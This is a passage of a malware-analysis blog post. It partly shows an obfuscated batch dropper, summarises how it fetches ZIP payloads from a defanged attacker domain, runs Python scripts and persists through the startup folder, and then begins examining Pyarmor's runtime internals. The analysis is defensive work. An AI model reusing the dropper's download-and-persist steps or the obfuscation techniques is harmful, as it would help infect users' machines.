&lt;span class=&quot;c&quot;&gt;::  ░    ░   ░   ▒    ░      ░         ░  ░░ ░░  ░  ░   ░  ░░ ░ ▒ ░   ░     ░ ░    ░ ░  ░ &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;::  ░            ░  ░        ░ ░       ░  ░  ░      ░   ░  ░  ░ ░     ░  ░    ░  ░   ░    &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;::       ░                   ░                                                     ░            &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;::&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;::                          !! Obfuscated By Batchsield !!&lt;/span&gt;


@&lt;span class=&quot;nv&quot;&gt;%RlreyKGxSD%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%KDuXrBAYVA%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%cr%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%fOG%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%dXTcycKBB%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%jenTylt%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%svFuxrt%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%wJQUX%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%urSNrd%&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%mEVT%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%Hujf%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%q%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%BFWpZo%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%bOtHT%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%I%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%GAUPbqqJAU%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%I%&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;:: Function to search for and open a PDF file in the Downloads folder&lt;/span&gt;
:&lt;span class=&quot;nv&quot;&gt;%PxD%&lt;/span&gt;:&lt;span class=&quot;nv&quot;&gt;%U%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%iXXMVGf%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;F&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ylMX%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;u&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%dJuIOerMzw%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%Vyn%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%gZAW%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ueGJ%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%DoAK%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%Emx%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%OQeP%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%sYsxJnvlz%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%jsTSJ%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%Ys%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%oFjxCobCGv%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%dCC%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ELvWRgh%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%VaTX%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%jdAfeLw%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%SrJltK%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;h&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%Qp%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%Qv%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%HrfzfVu%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ZZFKiUBU%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%URNZhmKy%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%Nuatq%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%qiwUtK%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%I%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%ekA%&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As one can see, the obfuscation mainly consists of inserting multiple non-defined variables into the code (and yes, they can’t even spell their own obfuscator’s name properly).
Interestingly, the comments inside the script are not obfuscated at all.
When searching for “Batchshield deobfuscator” on the internet, one can easily find tools that can deobfuscate this script.
However, some of those tools remove all the variables, including the legitimate ones!&lt;/p&gt;

&lt;p&gt;The content of the deobfuscated script is only briefly described, as the focus of this blog post is on the later stages of the malware.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Open all PDF files inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Downloads&lt;/code&gt; folder&lt;/li&gt;
  &lt;li&gt;Download &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JAAPW.zip&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MSVP.zip&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hxxp://qed245t3kreiscryoz-gueterslohewr33w[.]de[:]7719&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Extract the ZIP files to the paths &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\Downloads\Support&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\Downloads\OneDrive&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;
    &lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;echo Running Python scripts...
cd /d &quot;\Downloads\OneDrive\Python\Python312&quot;
python.exe BArown.py
python.exe CASrest.py
python.exe DXreame.py
python.exe ASTRILNOV1.py
&lt;/code&gt;&lt;/pre&gt;
  &lt;/li&gt;
  &lt;li&gt;Download &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NFC.bat&lt;/code&gt; from the same URL and move it to the user’s startup folder&lt;/li&gt;
  &lt;li&gt;Delete temporary ZIP files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The startup file changes the directory to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%Userprofile%\Downloads\Support\Python312&lt;/code&gt; and executes the Python scripts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAdate.py&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FAScis.py&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GXrop.py&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HPUope.py&lt;/code&gt;, which probably contain the actual payload (?), using the custom python interpreter.&lt;/p&gt;

&lt;p&gt;And here is a third domain used by the attackers: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;qed245t3kreiscryoz-gueterslohewr33w[.]de&lt;/code&gt;.
All the domains and download URLs were reported to &lt;a href=&quot;https://urlhaus.abuse.ch/&quot;&gt;URLhaus&lt;/a&gt;.
This led to malware dropper domains landing on several block lists within only a few hours after the malware distribution campaign started.&lt;/p&gt;

&lt;p&gt;But what about the Python scripts, the actual payload of the malware campaign?
Upon opening one of the scripts, we were greeted by this monstrosity:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Pyarmor 9.0.7 (pro), 007106, non-profit, 2025-01-08T19:48:44.467478
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pyarmor_runtime_007106&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__pyarmor__&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;__pyarmor__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__name__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__file__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;PY007106&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x03\x0c\x00\xcb\r\r\n\x80\x00\x01\x00\x08\x00\x00\x00\x04\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\xdd\x91\x07\x00\x12\t\x06\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xfe&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xb2\x83&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x1c&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x1d&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xab&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&apos;\xc3\x10&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00\x00\x00\x00\x00\x00\x00\x00\xb7\xd1&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;X&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xea\x17\xd4\xc4\xb2&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x9c&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xb3&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xe2\x00\xf0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;_l:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xa2\x11\x10&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Pv&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x04&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xf1&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xc3\xd6\x0e\x8b\xf9&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xa3\x84&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;X&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xcd\xba&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;B&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x94\x94&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;D&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x9b\x90&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Q&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xfd\x93&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;f &amp;lt;snip&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The bytes string goes on like that for the rest of the file.&lt;/p&gt;

&lt;p&gt;This successfully &lt;a href=&quot;https://xkcd.com/356/&quot;&gt;nerd-sniped&lt;/a&gt; our malware analysis team ;)&lt;/p&gt;

&lt;h1 id=&quot;pyarmor&quot;&gt;Pyarmor&lt;/h1&gt;

&lt;p&gt;Pyarmor is a product for protecting Python scripts from reverse engineering.
It also offers licensing features, such as binding scripts to specific hardware or outfitting scripts with a kill date.
Sadly, as is often the case with such products, it is also occasionally abused by malware in order to hide malicious code.&lt;/p&gt;

&lt;p&gt;There are a couple tools out there for unpacking Pyarmor, such as &lt;a href=&quot;https://github.com/Svenskithesource/PyArmor-Unpacker&quot;&gt;PyArmor-Unpacker&lt;/a&gt;, but they’re not compatible with the latest v8/v9 versions.
Other &lt;a href=&quot;https://github.com/vxnetrip/pyarmor-8-decrypt&quot;&gt;tooling&lt;/a&gt; that does claim to be compatible with v8+ uses a rather simplistic memory dumping technique, where it’s not guaranteed that all code (or any bytecode at all) will actually be decrypted. The reason will become clear later in this post.&lt;/p&gt;

&lt;p&gt;In the following we are going to provide insights into how Pyarmor works and offer some scripts that help make the original code visible via static unpacking.
It should also be noted that Pyarmor supports multiple protection modes, including one called &lt;em&gt;bcc mode&lt;/em&gt; where Python code is compiled into native code.
This poses additional challenges that are not covered here, but the same basic principles and crypto primitives should be used.&lt;/p&gt;

&lt;p&gt;Please note that we will explicitly &lt;strong&gt;not&lt;/strong&gt; provide an all-in-one unpacking solution - if that’s why you’ve come here, you might as well stop reading right now.&lt;/p&gt;

&lt;h2 id=&quot;basic-functionality&quot;&gt;Basic functionality&lt;/h2&gt;

&lt;p&gt;As can be seen in the snippet shown earlier, all the script does is importing a function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; and calling it.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pyarmor_runtime_007106&lt;/code&gt; is a directory in the Python interpreter directory that was shipped with the malware.
It contains a native module written in C called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pyarmor_runtime.pyd&lt;/code&gt; (essentially a 64-bit DLL) and a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__init__&lt;/code&gt; script that again imports &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.pyarmor_runtime&lt;/code&gt;. This is so that the main script can import the function from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pyarmor_runtime_007106&lt;/code&gt; without a further indirection.&lt;/p&gt;

&lt;p&gt;The native module exports a single function that is called by the Python interpreter for initialization purposes.
It creates a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyModule&lt;/code&gt; object by passing the following structure to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyModule_Create2&lt;/code&gt;:&lt;/p&gt;

&lt;figure id=&quot;moduledef&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2025/02/moduledef.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2025/02/moduledef.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2025/02/moduledef.png&quot; alt=&quot;Screenshot of IDA detailing the raw module struct&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2025/02/moduledef.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2025/02/moduledef.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2025/02/moduledef.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 3: Pyarmor PyModule struct, complete with helpful doc strings&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;From this, we can glean several pieces of information:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The user data portion of the module spans 0xC0 bytes&lt;/li&gt;
  &lt;li&gt;The module exposes just a single method&lt;/li&gt;
  &lt;li&gt;We get the function pointer for the native &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__pyarmor__&lt;/code&gt; implementation&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A bit further down in the PyInit export function, the following code can be found:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;56&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C_ASSERT_ARMORED_INDEX&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c_assert_armored&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// func&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v23&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PyCMethod_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v23&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_58&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;md_state&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pMethods&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v23&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;C_ENTER_CO_OBJECT_INDEX&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c_enter_co_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// func&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PyCMethod_New&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;md_state&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pMethods&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
